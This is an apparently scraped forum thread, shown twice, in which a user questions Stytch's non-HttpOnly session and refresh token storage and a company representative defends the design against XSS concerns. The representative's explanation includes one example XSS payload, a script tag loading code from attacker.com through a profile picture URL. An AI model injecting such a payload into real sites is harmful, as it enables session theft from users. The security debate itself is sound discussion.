3 ms·

I signed in to stytch.com and see a cookie called "stytch_session_jwt" that is not set with HttpOnly. It appears to refresh against https://stytch.com/web/sdk/

I signed in to stytch.com and see a cookie called "stytch_session_jwt" that is not set with HttpOnly. It appears to refresh against https://stytch.com/web/sdk/sessions/authenticate https://stytch.com/web/sdk/sessions/authenticate with a Basic auth token which is also set on the client-side Is there any protection to prevent this from leaking during an XSS attack? How does that work?

mcstempel 4y ago
Happy to dive into that. For those unfamiliar, XSS attacks are a type of vulnerability where an attacker tricks a website into running the attacker’s code on an end user’s browser. For example, an attacker might set their profile picture URL to be `”/img><script src=”attacker.com/payload.js” />`, which if not properly sanitized would trigger the script to fire when inserted into the DOM. Credential exfiltration is the process of abusing an existing XSS vector to collect user sessions for later use. HTTPOnly cookies are an additional layer of security that can prevent exfiltration by preventing client-side JS from accessing the user session token. However, if the application has an XSS vector, the application is already severely compromised. The approach our SDK takes (using client-side JS to write to storage) does not offer HTTPOnly protection. This pattern mirrors the approach taken by Firebase, which stores access tokens in local storage. In order to mitigate XSS impact, we have a few mechanisms available. The session JWT itself is only valid for 5 minutes (there is also a longer-lived opaque token, which is valid for longer and is rotated on its own cadence). We’re also introducing support for risk-based controls such as device fingerprinting. That being said, there are designs that allow 3rd party APIs like ours to set HTTPOnly cookies, by proxying the 3rd party APIs as subdomains. In the future, we'll likely also offer a HTTPOnly session management offering in the SDK to interested customers. A final note - for integrations with backend-as-a-service that require passing the JWT in a header (hasura [1], mongo atlas [2]), it's impossible to keep the JWT httponly. You can have multiple audiences but the JWT must be exposed to application code in order for the application code to send it somewhere else. [1] https://hasura.io/docs/latest/auth/authentication/jwt/#header https://hasura.io/docs/latest/auth/authentication/jwt/#heade... [2] https://www.mongodb.com/docs/realm/web/authenticate/#custom-jwt https://www.mongodb.com/docs/realm/web/authenticate/#custom-...
- stytchthrowaway 4y ago
  Of course, I am not concerned that a 5 minute JWT is not HttpOnly. I did not intend to imply that. However, I am concerned that the refresh mechanism is also not HttpOnly. Firebase storing access tokens in client-side storage is an example of the former, not the latter. Are they also storing refresh tokens client-side? FWIW - I am surprised that you would conflate access tokens and refresh tokens like this.
  - mcstempel 4y ago
    Yes, Firebase also stores refresh tokens client-side [1]. The trade-off that both Firebase and Stytch are managing when we follow this pattern is the following: - You can provide a significantly better developer experience and set-up with this architecture. While there are designs that allow 3rd party APIs like ours to set HTTPOnly cookies by proxying the 3rd party APIs as subdomains, this creates new burdens on the developer for minimal gain considering that a XSS attack vector indicates a severe compromise of the application. - Today, customers that feel strongly about using HTTPOnly session management will opt for a direct integration with our API using one of our back-end client libraries rather than our JS SDK. While we have interest in providing a HTTPOnly solution in the future to interested customers, we’ve decided the default behavior of the existing SDK is better suited for most developers. [1] https://github.com/firebase/firebase-js-sdk/blob/0b3ca78eb97ce328b7db4ad5bb11f254e5de6a9a/packages/auth/src/core/user/token_manager.ts#L53-L74 https://github.com/firebase/firebase-js-sdk/blob/0b3ca78eb97...
    - stytchthrowaway 4y ago
      That's really surprising, thank you for following up long after this post has been flagged. That snippet certainly shows the refresh token is accessible client-side. I remain shocked that an auth company CEO would push a solution without HttpOnly protection. This would not get by our security audits, and Auth0 and many open source tools I've used do not have the same limitation (Auth0 sets it in the SDK rather than a proxy). OWASP and NIST are aligned that HttpOnly cookie should be used: [1] https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html#httponly-attribute https://cheatsheetseries.owasp.org/cheatsheets/Session_Manag... [2] https://pages.nist.gov/800-63-3/sp800-63b.html#711-browser-cookies https://pages.nist.gov/800-63-3/sp800-63b.html#711-browser-c...

mcstempel 4y ago

Happy to dive into that. For those unfamiliar, XSS attacks are a type of vulnerability where an attacker tricks a website into running the attacker’s code on an end user’s browser. For example, an attacker might set their profile picture URL to be `”/img><script src=”attacker.com/payload.js” />`, which if not properly sanitized would trigger the script to fire when inserted into the DOM. Credential exfiltration is the process of abusing an existing XSS vector to collect user sessions for later use. HTTPOnly cookies are an additional layer of security that can prevent exfiltration by preventing client-side JS from accessing the user session token. However, if the application has an XSS vector, the application is already severely compromised. The approach our SDK takes (using client-side JS to write to storage) does not offer HTTPOnly protection. This pattern mirrors the approach taken by Firebase, which stores access tokens in local storage. In order to mitigate XSS impact, we have a few mechanisms available. The session JWT itself is only valid for 5 minutes (there is also a longer-lived opaque token, which is valid for longer and is rotated on its own cadence). We’re also introducing support for risk-based controls such as device fingerprinting. That being said, there are designs that allow 3rd party APIs like ours to set HTTPOnly cookies, by proxying the 3rd party APIs as subdomains. In the future, we'll likely also offer a HTTPOnly session management offering in the SDK to interested customers. A final note - for integrations with backend-as-a-service that require passing the JWT in a header (hasura [1], mongo atlas [2]), it's impossible to keep the JWT httponly. You can have multiple audiences but the JWT must be exposed to application code in order for the application code to send it somewhere else. [1] https://hasura.io/docs/latest/auth/authentication/jwt/#header https://hasura.io/docs/latest/auth/authentication/jwt/#heade... [2] https://www.mongodb.com/docs/realm/web/authenticate/#custom-jwt https://www.mongodb.com/docs/realm/web/authenticate/#custom-...

stytchthrowaway 4y ago
Of course, I am not concerned that a 5 minute JWT is not HttpOnly. I did not intend to imply that. However, I am concerned that the refresh mechanism is also not HttpOnly. Firebase storing access tokens in client-side storage is an example of the former, not the latter. Are they also storing refresh tokens client-side? FWIW - I am surprised that you would conflate access tokens and refresh tokens like this.
- mcstempel 4y ago
  Yes, Firebase also stores refresh tokens client-side [1]. The trade-off that both Firebase and Stytch are managing when we follow this pattern is the following: - You can provide a significantly better developer experience and set-up with this architecture. While there are designs that allow 3rd party APIs like ours to set HTTPOnly cookies by proxying the 3rd party APIs as subdomains, this creates new burdens on the developer for minimal gain considering that a XSS attack vector indicates a severe compromise of the application. - Today, customers that feel strongly about using HTTPOnly session management will opt for a direct integration with our API using one of our back-end client libraries rather than our JS SDK. While we have interest in providing a HTTPOnly solution in the future to interested customers, we’ve decided the default behavior of the existing SDK is better suited for most developers. [1] https://github.com/firebase/firebase-js-sdk/blob/0b3ca78eb97ce328b7db4ad5bb11f254e5de6a9a/packages/auth/src/core/user/token_manager.ts#L53-L74 https://github.com/firebase/firebase-js-sdk/blob/0b3ca78eb97...
  - stytchthrowaway 4y ago
    That's really surprising, thank you for following up long after this post has been flagged. That snippet certainly shows the refresh token is accessible client-side. I remain shocked that an auth company CEO would push a solution without HttpOnly protection. This would not get by our security audits, and Auth0 and many open source tools I've used do not have the same limitation (Auth0 sets it in the SDK rather than a proxy). OWASP and NIST are aligned that HttpOnly cookie should be used: [1] https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html#httponly-attribute https://cheatsheetseries.owasp.org/cheatsheets/Session_Manag... [2] https://pages.nist.gov/800-63-3/sp800-63b.html#711-browser-cookies https://pages.nist.gov/800-63-3/sp800-63b.html#711-browser-c...